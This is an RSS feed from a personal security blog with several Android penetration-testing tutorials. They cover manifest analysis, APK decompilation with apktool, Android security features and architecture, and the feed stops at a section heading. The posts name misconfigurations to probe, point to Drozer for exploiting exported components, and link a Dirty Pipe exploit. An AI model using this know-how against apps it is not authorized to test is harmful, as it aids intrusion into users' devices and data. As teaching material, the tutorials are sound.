<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Santosh Achary]]></title><description><![CDATA["A Santosh Kumar Achary", "Santosh Achary", "Santosh Hacking" "Santosh cybersecurity"]]></description><link>https://blog.santoshachary.in</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1735651377774/df73916b-6490-497a-9f55-5352257022ae.png</url><title>Santosh Achary</title><link>https://blog.santoshachary.in</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Apr 2026 03:19:06 GMT</lastBuildDate><atom:link href="https://blog.santoshachary.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Understanding AndroidManifest.xml from an Android app]]></title><description><![CDATA[The AndroidManifest.xml file is the heart of any Android application, acting as a blueprint that defines the structure, components, and permissions of the app. From a penetration testing perspective, understanding and analyzing the AndroidManifest.xm...]]></description><link>https://blog.santoshachary.in/understanding-androidmanifestxml-from-an-android-app</link><guid isPermaLink="true">https://blog.santoshachary.in/understanding-androidmanifestxml-from-an-android-app</guid><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Sun, 19 Jan 2025 18:30:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736791260941/6bb2abb8-7538-4e3c-a25a-861b8e46f7ee.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The <code>AndroidManifest.xml</code> file is the heart of any Android application, acting as a blueprint that defines the structure, components, and permissions of the app. From a penetration testing perspective, understanding and analyzing the <code>AndroidManifest.xml</code> is crucial for identifying potential vulnerabilities.</p>
<h2 id="heading-structure-of-androidmanifestxml"><strong>Structure of</strong> <code>AndroidManifest.xml</code></h2>
<p>Here’s a basic example of the <code>AndroidManifest.xml</code> file:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.myapp"
    android:versionCode="1"
    android:versionName="1.0"&gt;

    &lt;uses-sdk
        android:minSdkVersion="21"
        android:targetSdkVersion="33" /&gt;

    &lt;uses-permission android:name="android.permission.INTERNET" /&gt;

    &lt;application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme"&gt;

        &lt;activity android:name=".MainActivity"&gt;
            &lt;intent-filter&gt;
                &lt;action android:name="android.intent.action.MAIN" /&gt;
                &lt;category android:name="android.intent.category.LAUNCHER" /&gt;
            &lt;/intent-filter&gt;
        &lt;/activity&gt;

        &lt;service android:name=".MyService" /&gt;
        &lt;receiver android:name=".MyReceiver" /&gt;
    &lt;/application&gt;
&lt;/manifest&gt;
</code></pre>
<hr />
<h2 id="heading-key-elements-to-analyze"><strong>Key Elements to Analyze</strong></h2>
<h3 id="heading-1-root-element"><strong>1. Root Element (</strong><code>&lt;manifest&gt;</code>)</h3>
<p>Defines global application metadata:</p>
<ul>
<li><p><code>package</code>: The app’s unique identifier. Check for hardcoded package names that could reveal sensitive information.</p>
</li>
<li><p><code>android:versionCode</code> &amp; <code>android:versionName</code>: Internal and user-visible versioning. Older apps may lack security updates.</p>
</li>
</ul>
<hr />
<h3 id="heading-2-permissions"><strong>2. Permissions (</strong><code>&lt;uses-permission&gt;</code>)</h3>
<p>Permissions define what resources the app can access. Overly broad permissions can indicate potential security issues.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;uses-permission android:name="android.permission.INTERNET" /&gt;
&lt;uses-permission android:name="android.permission.CAMERA" /&gt;
</code></pre>
<h4 id="heading-what-to-look-for"><strong>What to Look For:</strong></h4>
<ul>
<li><p><strong>Excessive Permissions</strong>: Does the app request permissions irrelevant to its functionality (e.g., a flashlight app requiring location)?</p>
</li>
<li><p><strong>Dangerous Permissions</strong>: Permissions like <code>READ_SMS</code>, <code>WRITE_EXTERNAL_STORAGE</code>, and <code>ACCESS_FINE_LOCATION</code> are high-risk and require scrutiny.</p>
</li>
</ul>
<hr />
<h3 id="heading-3-application-attributes"><strong>3. Application Attributes (</strong><code>&lt;application&gt;</code>)</h3>
<p>The <code>&lt;application&gt;</code> element defines app-wide settings and components.</p>
<h4 id="heading-critical-attributes"><strong>Critical Attributes:</strong></h4>
<ul>
<li><p><code>android:allowBackup="true"</code>: If enabled, attackers can back up app data and extract sensitive information. Should be set to <code>false</code> in production.</p>
</li>
<li><p><code>android:debuggable="true"</code>: Allows debugging the app. If left enabled in production, it opens doors for reverse engineering.</p>
</li>
</ul>
<hr />
<h3 id="heading-4-activities"><strong>4. Activities (</strong><code>&lt;activity&gt;</code>)</h3>
<p>Activities represent the app’s UI components.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;activity android:name=".MainActivity"
    android:exported="true"&gt;
    &lt;intent-filter&gt;
        &lt;action android:name="android.intent.action.MAIN" /&gt;
        &lt;category android:name="android.intent.category.LAUNCHER" /&gt;
    &lt;/intent-filter&gt;
&lt;/activity&gt;
</code></pre>
<h4 id="heading-key-checks"><strong>Key Checks:</strong></h4>
<ul>
<li><p><code>android:exported="true"</code>: Exported activities can be invoked by other apps. Ensure sensitive activities are not unnecessarily exported.</p>
</li>
<li><p><strong>Intent Filters</strong>: Look for activities with broad intent filters that can be exploited (e.g., <code>android.intent.action.VIEW</code> with no restrictions).</p>
</li>
</ul>
<hr />
<h3 id="heading-5-services"><strong>5. Services (</strong><code>&lt;service&gt;</code>)</h3>
<p>Services perform background tasks.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;service android:name=".MyService"
    android:exported="false" /&gt;
</code></pre>
<h4 id="heading-key-checks-1"><strong>Key Checks:</strong></h4>
<ul>
<li><p><strong>Exported Services</strong>: Ensure that sensitive services are not exported unless necessary.</p>
</li>
<li><p><strong>Insecure IPC (Inter-Process Communication)</strong>: Look for services susceptible to exploitation via <code>Binder</code>.</p>
</li>
</ul>
<hr />
<h3 id="heading-6-broadcast-receivers"><strong>6. Broadcast Receivers (</strong><code>&lt;receiver&gt;</code>)</h3>
<p>Broadcast Receivers handle system-wide or app-level events.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;receiver android:name=".MyReceiver"&gt;
    &lt;intent-filter&gt;
        &lt;action android:name="android.intent.action.BOOT_COMPLETED" /&gt;
    &lt;/intent-filter&gt;
&lt;/receiver&gt;
</code></pre>
<h4 id="heading-what-to-look-for-1"><strong>What to Look For:</strong></h4>
<ul>
<li><p><strong>Unprotected Broadcasts</strong>: Can the receiver handle malicious broadcasts from untrusted sources?</p>
</li>
<li><p><strong>Critical Actions</strong>: Receivers for actions like <code>BOOT_COMPLETED</code> can be abused for persistent attacks.</p>
</li>
</ul>
<hr />
<h3 id="heading-7-content-providers"><strong>7. Content Providers (</strong><code>&lt;provider&gt;</code>)</h3>
<p>Content Providers manage structured data and allow sharing between apps.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;provider
    android:name=".MyContentProvider"
    android:authorities="com.example.myapp.provider"
    android:exported="true" /&gt;
</code></pre>
<h4 id="heading-key-checks-2"><strong>Key Checks:</strong></h4>
<ul>
<li><p><strong>Exported Providers</strong>: Exported providers should enforce proper permissions to avoid data leaks.</p>
</li>
<li><p><strong>SQL Injection</strong>: Test providers for SQL injection vulnerabilities.</p>
</li>
</ul>
<hr />
<h3 id="heading-8-intent-filters"><strong>8. Intent Filters</strong></h3>
<p>Intent Filters specify how components handle intents.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;intent-filter&gt;
    &lt;action android:name="android.intent.action.VIEW" /&gt;
    &lt;category android:name="android.intent.category.DEFAULT" /&gt;
    &lt;data android:scheme="https" android:host="www.example.com" /&gt;
&lt;/intent-filter&gt;
</code></pre>
<h4 id="heading-penetration-testing-focus"><strong>Penetration Testing Focus:</strong></h4>
<ul>
<li><p><strong>Broad Filters</strong>: Ensure filters don’t allow unintended interactions.</p>
</li>
<li><p><strong>Scheme Hijacking</strong>: Check for weaknesses in <code>data</code> attributes (e.g., <code>android:scheme</code>).</p>
</li>
</ul>
<hr />
<h3 id="heading-9-sdk-versions"><strong>9. SDK Versions (</strong><code>&lt;uses-sdk&gt;</code>)</h3>
<p>Defines the minimum and target Android SDK versions.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;uses-sdk
    android:minSdkVersion="21"
    android:targetSdkVersion="33" /&gt;
</code></pre>
<h4 id="heading-what-to-check"><strong>What to Check:</strong></h4>
<ul>
<li><p><code>minSdkVersion</code>: Low versions may expose the app to vulnerabilities fixed in later versions.</p>
</li>
<li><p><code>targetSdkVersion</code>: Ensure it targets a secure and supported SDK version.</p>
</li>
</ul>
<hr />
<h3 id="heading-10-queries"><strong>10. Queries (</strong><code>&lt;queries&gt;</code>)</h3>
<p>Introduced in Android 11, this element restricts app visibility into other installed apps.</p>
<p>Example:</p>
<pre><code class="lang-plaintext">xmlCopy code&lt;queries&gt;
    &lt;package android:name="com.example.app1" /&gt;
&lt;/queries&gt;
</code></pre>
<h4 id="heading-testing-tip"><strong>Testing Tip:</strong></h4>
<ul>
<li><strong>Overexposure</strong>: Ensure queries only include necessary apps to avoid exposing sensitive interactions.</li>
</ul>
<hr />
<h2 id="heading-practical-pentesting-steps"><strong>Practical Pentesting Steps</strong></h2>
<ol>
<li><p><strong>Static Analysis</strong>:</p>
<ul>
<li><p>Extract the <code>AndroidManifest.xml</code> from the APK using tools like <code>apktool</code>.</p>
</li>
<li><p>Analyze exported components, permissions, and intent filters.</p>
</li>
</ul>
</li>
<li><p><strong>Dynamic Analysis</strong>:</p>
<ul>
<li><p>Use tools like Drozer to identify and exploit exported components.</p>
</li>
<li><p>Test activities, services, and content providers for security flaws.</p>
</li>
</ul>
</li>
<li><p><strong>Common Vulnerabilities</strong>:</p>
<ul>
<li><p><strong>Insecure Backup</strong>: <code>allowBackup</code> set to <code>true</code>.</p>
</li>
<li><p><strong>Excessive Permissions</strong>: Permissions like <code>READ_SMS</code> without justification.</p>
</li>
<li><p><strong>Component Exploitation</strong>: Exported activities, services, or receivers without proper restrictions.</p>
</li>
<li><p><strong>Injection Attacks</strong>: SQL injection or command injection via content providers.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>The <code>AndroidManifest.xml</code> file offers a wealth of information for penetration testers. By thoroughly analyzing its elements, you can uncover misconfigurations, excessive permissions, and insecure component exports that might lead to critical vulnerabilities. Always validate findings with dynamic testing to ensure the app's security posture.</p>
]]></content:encoded></item><item><title><![CDATA[Understanding the Differences: Android Project and Decompiled APK Structures Explained]]></title><description><![CDATA[Understanding the Structure of an Android Project
When starting with Android app development, it’s essential to understand the structure of an Android project. Here's a breakdown of the typical directory and file structure:
project/
├── app/
│   ├── ...]]></description><link>https://blog.santoshachary.in/understanding-the-differences-android-project-and-decompiled-apk-structures-explained</link><guid isPermaLink="true">https://blog.santoshachary.in/understanding-the-differences-android-project-and-decompiled-apk-structures-explained</guid><category><![CDATA[Mobile Development]]></category><category><![CDATA[Android]]></category><category><![CDATA[android app development]]></category><category><![CDATA[Mobile app pentest]]></category><category><![CDATA[mobile app security ]]></category><category><![CDATA[android app security]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[mobile app testing]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Mon, 13 Jan 2025 17:52:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736790746970/9ae07a03-8fb3-49bf-b9d7-1b645c09b443.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-understanding-the-structure-of-an-android-project">Understanding the Structure of an Android Project</h2>
<p>When starting with Android app development, it’s essential to understand the structure of an Android project. Here's a breakdown of the typical directory and file structure:</p>
<pre><code class="lang-plaintext">project/
├── app/
│   ├── build/
│   ├── src/
│   │   ├── main/
│   │   │   ├── java/com/example/app/
│   │   ┒   ├── res/
│   │   ┒   ┒   ├── drawable/
│   │   ┒   ┒   ├── layout/
│   │   ┒   ┒   ├── values/
│   │   ┒   ┒   ├── mipmap/
│   │   ┒   ┒   ├── raw/
│   │   ├── AndroidManifest.xml
│   ┒   ├── test/
│   ┒   ├── androidTest/
│   ├── build.gradle
│
├── build/
├── gradle/
├── settings.gradle
├── build.gradle
├── gradlew
├── gradlew.bat
└── local.properties
</code></pre>
<h3 id="heading-breakdown-of-directories-and-files">Breakdown of Directories and Files</h3>
<h4 id="heading-app"><code>app/</code></h4>
<p>This is the primary module containing the app’s source code and resources.</p>
<ul>
<li><p><code>src/</code></p>
<ul>
<li><p><code>main/</code>: The main source set for the app.</p>
<ul>
<li><p><code>java/</code>: Contains the Java/Kotlin source files organized by package structure (e.g., <code>com.example.app</code>).</p>
</li>
<li><p><code>res/</code>: Contains all the app’s resources, such as layouts, drawables, and strings.</p>
<ul>
<li><p><code>drawable/</code>: Holds drawable resources such as images or XML-based vector assets.</p>
</li>
<li><p><code>layout/</code>: Contains UI layout files in XML format.</p>
</li>
<li><p><code>values/</code>: Holds resource files like <code>strings.xml</code>, <code>styles.xml</code>, and <code>colors.xml</code>.</p>
</li>
<li><p><code>mipmap/</code>: Stores launcher icons for various screen densities.</p>
</li>
<li><p><code>raw/</code>: Contains raw assets like audio or video files.</p>
</li>
<li><p><code>anim/</code>: Stores animation XML files.</p>
</li>
<li><p><code>menu/</code>: Contains XML resources for menus.</p>
</li>
<li><p><code>color/</code>: XML files defining color resources.</p>
</li>
<li><p><code>xml/</code>: Contains custom XML configuration files.</p>
</li>
</ul>
</li>
<li><p><code>assets/</code>: Stores raw files such as fonts or JSON files to be included in the app.</p>
</li>
<li><p><code>AndroidManifest.xml</code>: The manifest file declaring app components, permissions, and configurations.</p>
</li>
</ul>
</li>
<li><p><code>test/</code>: Contains unit test files.</p>
</li>
<li><p><code>androidTest/</code>: Contains instrumentation test files for testing app functionality on devices.</p>
</li>
</ul>
</li>
<li><p><code>build/</code>: Holds build outputs and intermediate files for the app module.</p>
</li>
<li><p><code>build.gradle</code>: Module-level build configuration, defining dependencies, build types, and variants.</p>
</li>
</ul>
<h4 id="heading-build"><code>build/</code></h4>
<p>This directory contains build outputs and intermediate files generated during the build process.</p>
<h4 id="heading-gradle"><code>gradle/</code></h4>
<p>Holds Gradle’s wrapper configuration files.</p>
<h4 id="heading-gradle-1"><code>.gradle/</code></h4>
<p>Caches for the Gradle build system to improve build speed and efficiency.</p>
<h4 id="heading-settingsgradle"><code>settings.gradle</code></h4>
<p>Defines the project’s structure and modules. Typically lists the <code>app</code> module and other included modules.</p>
<h4 id="heading-buildgradle-project-level"><code>build.gradle (Project-level)</code></h4>
<p>Specifies global configurations, such as dependency repositories, plugins, and build script dependencies.</p>
<h4 id="heading-gradlew-and-gradlewbat"><code>gradlew</code> <strong>and</strong> <code>gradlew.bat</code></h4>
<p>Scripts to execute the Gradle wrapper. <code>gradlew</code> is for Unix-based systems, and <code>gradlew.bat</code> is for Windows.</p>
<h4 id="heading-localproperties"><code>local.properties</code></h4>
<p>Contains local configurations, such as the path to the Android SDK, and is not included in version control.</p>
<h2 id="heading-structure-after-decompiling-with-apktool">Structure After Decompiling with APKTool</h2>
<h3 id="heading-steps-to-decompile-an-android-app">Steps to Decompile an Android App</h3>
<p>Before understanding the structure of decompiled files from an APK, we have to know that we can decompile an APK using below command, which can be downloaded from <a target="_blank" href="https://apktool.org/">here</a>.</p>
<pre><code class="lang-plaintext">apktool.jar d &lt;app-name&gt;.apk
</code></pre>
<ul>
<li>Replace <code>&lt;app-name&gt;</code> with the actual name of the APK file.</li>
</ul>
<p>Below is the structure we get after decompiling the app using APKTool:</p>
<pre><code class="lang-plaintext">decompiled_app/
├── AndroidManifest.xml
├── apktool.yml
├── assets/
│   ├── fonts/
│   ├── data.json
│   ├── ...
├── lib/
│   ├── armeabi/
│   ├── armeabi-v7a/
│   ├── arm64-v8a/
│   ├── x86/
│   ├── x86_64/
├── original/
│   ├── AndroidManifest.xml
│   ├── ...
├── res/
│   ├── drawable/
│   ├── layout/
│   ├── values/
│   ├── mipmap/
│   ├── anim/
│   ├── raw/
│   ├── ...
├── smali/
│   ├── com/
│   │   ├── example/
│   │   │   ├── app/
│   │   │   ├── utils/
├── smali_classes2/ (if multidex)
├── smali_classes3/ (if multidex)
└── unknown/
    ├── file1.dat
    ├── ...
</code></pre>
<h4 id="heading-key-components">Key Components</h4>
<ul>
<li><p><code>original/</code></p>
<ul>
<li><p>Contains original files that were not modified during the decoding process.</p>
</li>
<li><p>Examples:</p>
<ul>
<li><p><code>AndroidManifest.xml</code> (binary version).</p>
</li>
<li><p>Other untouched files from the original APK.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><code>smali/</code></p>
<ul>
<li><p>Contains the app's code in <strong>smali</strong> format, a human-readable representation of the Dalvik bytecode.</p>
</li>
<li><p>Organized by package structure:</p>
<pre><code class="lang-plaintext">  smali/com/example/app/
  smali/com/example/utils/
</code></pre>
</li>
<li><p>If the app is multidex, you may see:</p>
<ul>
<li><p><code>smali_classes2/</code></p>
</li>
<li><p><code>smali_classes3/</code></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><code>res/</code></p>
<ul>
<li><p>Decompiled resources such as layouts, drawables, and values.</p>
</li>
<li><p>Subdirectories:</p>
<ul>
<li><p><code>drawable/</code>: Image resources.</p>
</li>
<li><p><code>layout/</code>: UI layout XML files.</p>
</li>
<li><p><code>values/</code>: Strings, styles, and other resource XMLs.</p>
</li>
<li><p><code>raw/</code>: Raw files like audio, video, etc.</p>
</li>
<li><p><code>menu/</code>: Menu XML resources.</p>
</li>
</ul>
</li>
<li><p>These files are in their decoded form and can be modified directly.</p>
</li>
</ul>
</li>
<li><p><code>assets/</code></p>
<ul>
<li><p>Raw asset files included in the app.</p>
</li>
<li><p>These are not compiled and remain in their original form.</p>
</li>
<li><p>Examples: Fonts, JSON files, text files, etc.</p>
</li>
</ul>
</li>
<li><p><code>lib/</code></p>
<ul>
<li><p>Contains native libraries included in the APK.</p>
</li>
<li><p>Organized by CPU architecture:</p>
<ul>
<li><p><code>armeabi/</code></p>
</li>
<li><p><code>armeabi-v7a/</code></p>
</li>
<li><p><code>arm64-v8a/</code></p>
</li>
<li><p><code>x86/</code></p>
</li>
<li><p><code>x86_64/</code></p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><code>AndroidManifest.xml</code></p>
<ul>
<li><p>The decoded version of the app’s manifest file.</p>
</li>
<li><p>Contains permissions, components (activities, services, etc.), and other configuration details in readable XML format.</p>
</li>
</ul>
</li>
<li><p><code>apktool.yml</code></p>
<ul>
<li><p>Metadata for APKTool.</p>
</li>
<li><p>Includes information about the APK being decompiled, such as the original package name, version, and other build settings.</p>
</li>
<li><p>Example:</p>
<pre><code class="lang-plaintext">  version: 1
  apkFileName: app-release.apk
  isFrameworkApk: false
  sdkInfo:
    minSdkVersion: 21
    targetSdkVersion: 33
</code></pre>
</li>
</ul>
</li>
<li><p><code>unknown/</code> <strong>(Optional)</strong></p>
<ul>
<li><p>Contains files that APKTool could not decode or place into other directories.</p>
</li>
<li><p>Often includes additional or custom data files used by the app.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-comparison-android-project-vs-decompiled-apk">Comparison: Android Project vs. Decompiled APK</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Feature</strong></td><td><strong>Android Project</strong></td><td><strong>Decompiled APK</strong></td></tr>
</thead>
<tbody>
<tr>
<td>Source Code</td><td>Written in Java/Kotlin</td><td>Decompiled to Smali</td></tr>
<tr>
<td>Resources</td><td>Organized and human-readable</td><td>Decoded but may lose some metadata</td></tr>
<tr>
<td>Manifest</td><td>Editable XML</td><td>Decompiled and may contain obfuscations</td></tr>
<tr>
<td>Build Files</td><td>Gradle scripts for configuration</td><td>Absent</td></tr>
<tr>
<td>Native Libraries</td><td>Part of <code>jniLibs</code> or external dependencies</td><td>Extracted into <code>lib/</code> directory</td></tr>
<tr>
<td>Assets</td><td>Organized in <code>assets/</code></td><td>Directly copied</td></tr>
<tr>
<td>Debug Info</td><td>Available (if project is debug-enabled)</td><td>Minimal or absent</td></tr>
</tbody>
</table>
</div><p>Understanding both structures is vital for reverse engineering, debugging, or performing penetration tests on Android apps.</p>
]]></content:encoded></item><item><title><![CDATA[Understanding Android's Security Features]]></title><description><![CDATA[Before diving deep into the world of exploiting Android app vulnerabilities, it is essential to understand the inbuilt security features that Android provides. These features form the backbone of the operating system's defenses and are key to underst...]]></description><link>https://blog.santoshachary.in/understanding-androids-security-features</link><guid isPermaLink="true">https://blog.santoshachary.in/understanding-androids-security-features</guid><category><![CDATA[Mobile app secuirty]]></category><category><![CDATA[Mobile app pentest]]></category><category><![CDATA[mobile app security ]]></category><category><![CDATA[Android]]></category><category><![CDATA[android app security]]></category><category><![CDATA[Security]]></category><category><![CDATA[android-security]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Wed, 01 Jan 2025 04:30:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735657068619/26393ec7-3a7f-4750-a002-4cffb60d756b.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Before diving deep into the world of exploiting Android app vulnerabilities, it is essential to understand the inbuilt security features that Android provides. These features form the backbone of the operating system's defenses and are key to understanding how Android protects user data, maintains app isolation, and mitigates potential exploits. A solid grasp of these mechanisms is crucial for anyone exploring Android security, whether to strengthen defenses or identify vulnerabilities.</p>
<h2 id="heading-system-security-safeguarding-user-data">System Security: Safeguarding User Data</h2>
<p>Android implements a range of security features to ensure the protection of user data, including advanced encryption techniques and trusted execution environments.</p>
<h3 id="heading-encryption-methods">Encryption Methods</h3>
<ol>
<li><p><strong>File-Based Encryption (FBE)</strong><br /> Introduced in Android 7.0, file-based encryption allows different files to be encrypted with unique keys that can be unlocked independently. This method enhances security by isolating sensitive data at the file level.</p>
<p> For more details, visit: <a target="_blank" href="https://source.android.com/docs/security/features/encryption">Android Encryption Features</a>.</p>
</li>
<li><p><strong>Full-Disk Encryption (FDE)</strong><br /> Available since Android 5.0, full-disk encryption uses a single key protected by the user’s device password to secure the entire userdata partition. Upon boot, user credentials are required to access any part of the disk. Android 9 introduced support for metadata encryption. With metadata encryption, a single key present at boot time encrypts whatever content is not encrypted by FBE.</p>
</li>
</ol>
<h3 id="heading-trusted-execution-environment-tee-and-rich-execution-environment-ree">Trusted Execution Environment (TEE) and Rich Execution Environment (REE)</h3>
<p>Android employs two distinct execution environments to balance performance and security:</p>
<ul>
<li><p><strong>Trusted Execution Environment (TEE):</strong></p>
<ul>
<li><p><em>Hardware Security</em>: The TEE provides a secure area of the device's main processor, isolating cryptographic operations and biometric key storage from the primary operating system.</p>
</li>
<li><p><em>Secure Operations</em>: Trusted applications running in the TEE handle sensitive data securely, ensuring that operations such as secure boot, authentication, and encryption remain protected from external interference.</p>
</li>
</ul>
</li>
<li><p><strong>Rich Execution Environment (REE):</strong></p>
<ul>
<li><p>The REE includes the main Android OS and supports standard app operations, balancing user experience and performance. However, as the REE is not isolated from potential vulnerabilities, it relies on the TEE for critical security operations.</p>
</li>
<li><p>Ensures that less critical processes do not compromise the overall system by delegating sensitive operations to the TEE.</p>
</li>
</ul>
</li>
</ul>
<p>By utilizing both environments, Android maintains a separation between secure and non-secure tasks, reducing the risk of attacks on sensitive data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735652321503/a531a675-92f5-43b7-a2b0-6ec38fe159c4.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-verified-boot">Verified Boot</h3>
<p>Verified Boot ensures that only trusted code is executed on the device by validating the integrity of the operating system during startup. However, this feature is typically disabled when users root or jailbreak their devices.</p>
<h2 id="heading-network-security-securing-communication">Network Security: Securing Communication</h2>
<p>To protect data during transmission, Android incorporates robust network security features:</p>
<ol>
<li><p><strong>TLS and DNS Over TLS</strong>: Implemented by default since Android 9, these protocols ensure secure and encrypted communication.</p>
</li>
<li><p><strong>App-Specific Network Security Configuration</strong>: Developers can define custom security configurations for each app to enhance security granularity.</p>
</li>
<li><p><strong>Certificate Pinning</strong>: Prevents man-in-the-middle attacks by ensuring the authenticity of a server's certificate.</p>
</li>
</ol>
<h2 id="heading-software-isolation-keeping-apps-contained">Software Isolation: Keeping Apps Contained</h2>
<p>Android employs multiple layers of isolation to safeguard user data and prevent malicious activity:</p>
<ul>
<li><p><strong>SELinux</strong>: Enhances mandatory access control and isolates apps in sandboxes to prevent unauthorized access.</p>
<ul>
<li><p><em>Permissive Mode</em>: Logs permission denials without enforcement.</p>
</li>
<li><p><em>Enforcing Mode</em>: Logs and enforces permission denials.</p>
</li>
</ul>
</li>
<li><p><strong>Permissions Management</strong>: Permissions must be explicitly declared by apps in their manifest files, giving users control over data access.</p>
</li>
<li><p><strong>Application Sandbox:</strong> The Android platform uses Linux's user-based protection to assign a unique user ID to each app, running it in its own process to create a kernel-level Application Sandbox.</p>
</li>
</ul>
<h2 id="heading-anti-exploitation-techniques-mitigating-attacks">Anti-Exploitation Techniques: Mitigating Attacks</h2>
<p>Android’s security framework includes advanced anti-exploitation mechanisms to thwart common vulnerabilities like kernel exploits and buffer overflows:</p>
<ol>
<li><p><strong>Address Space Layout Randomization (ASLR)</strong>: Introduced in Android 4.1, ASLR randomizes memory addresses to make it harder for attackers to predict the location of specific code.</p>
</li>
<li><p><strong>Kernel ASLR (KASLR)</strong>: Extended to the kernel in Android 8, further protecting the operating system.</p>
</li>
<li><p><strong>Data Execution Prevention (DEP)</strong>: Prevents execution of non-executable memory regions.</p>
</li>
<li><p><strong>SECCOMP Filters</strong>: Limits access to system calls to reduce the attack surface.</p>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Understanding Android's inbuilt security features is essential before attempting to exploit app vulnerabilities. These mechanisms, such as file-based encryption, SELinux, and anti-exploitation technologies, create a robust defense against modern threats. By comprehending how Android secures user data and devices, security professionals can better appreciate the challenges of bypassing these measures and contribute to building more secure applications and systems.</p>
]]></content:encoded></item><item><title><![CDATA[Comprehensive Overview of Android Architecture and Potential Vulnerabilities]]></title><description><![CDATA[Introduction
Android, being one of the most popular mobile operating systems, is built on a layered architecture. Each layer is designed to handle specific functionalities and ensure seamless communication across the system. Let’s dive into the layer...]]></description><link>https://blog.santoshachary.in/comprehensive-overview-of-android-structure-and-security-issues</link><guid isPermaLink="true">https://blog.santoshachary.in/comprehensive-overview-of-android-structure-and-security-issues</guid><category><![CDATA[Mobile apps]]></category><category><![CDATA[mobile app security ]]></category><category><![CDATA[Android]]></category><category><![CDATA[android app security]]></category><category><![CDATA[Android architecture pattern]]></category><category><![CDATA[penetration testing]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Tue, 31 Dec 2024 08:45:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735650796264/886dde34-3a34-4492-a4e0-7e6c1d869ec3.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>Android, being one of the most popular mobile operating systems, is built on a layered architecture. Each layer is designed to handle specific functionalities and ensure seamless communication across the system. Let’s dive into the layers, starting from the foundation:</p>
<p>There are mainly 6 layers in the android architecture.</p>
<ul>
<li><p>Linux Kernel</p>
</li>
<li><p>Hardware Abstraction Layer</p>
</li>
<li><p>Native C/C++ Libraries</p>
</li>
<li><p>Android Run Time</p>
</li>
<li><p>JAVA API Framework</p>
</li>
<li><p>Applications</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735657485810/e56c5fb8-9697-4de2-b468-328133133b67.png" alt class="image--center mx-auto" /></p>
<p>Let's explore each layer one by one to understand their uses and potential vulnerabilities.</p>
<h1 id="heading-linux-kernel">Linux Kernel</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735631894975/db91b95e-20e4-4558-94b3-eda2b1d5430b.png" alt class="image--center mx-auto" /></p>
<p>The Linux Kernel is the core and most privileged layer in Android. It handles fundamental system services, including:</p>
<ul>
<li><p>Memory Management</p>
</li>
<li><p>Process Management</p>
</li>
<li><p>Network Stack</p>
</li>
<li><p>Device Drivers</p>
</li>
</ul>
<p>Android uses Security-Enhanced Linux (SELinux) to apply access control policies and establish mandatory access control (mac) on processes.</p>
<p>Android 7.0 and later supports strictly enforced Verified Boot, which means compromised devices can't boot. Verified Boot guarantees the integrity of the device software starting from a hardware root of trust up to the system partition.</p>
<p>In this layer, vulnerabilities like buffer overflows or privilege escalation bugs can allow attackers to take full control of the device, often bypassing application-level security measures.</p>
<p>The vulnerabilities found in Linux are often applicable to Android as well. For instance, privilege escalation exploits like Dirty Pipe demonstrate how attackers can gain unauthorized root access. Similarly, kernel vulnerabilities can lead to issues such as bypassing access controls, injecting malicious code, or causing system crashes on Android devices. Example: <a target="_blank" href="https://github.com/polygraphene/DirtyPipe-Android">Dirty Pipe for Android</a></p>
<p>However, <strong>SELinux (Security Enhanced Linux)</strong> helps reduce the impact of such vulnerabilities by enforcing strict security policies. SELinux operates by defining and enforcing mandatory access control policies that limit the actions of applications and processes on the system. For example, it ensures that even if an application is compromised, its ability to access sensitive files or system components is strictly restricted.</p>
<h1 id="heading-hardware-abstraction-layer">Hardware Abstraction Layer</h1>
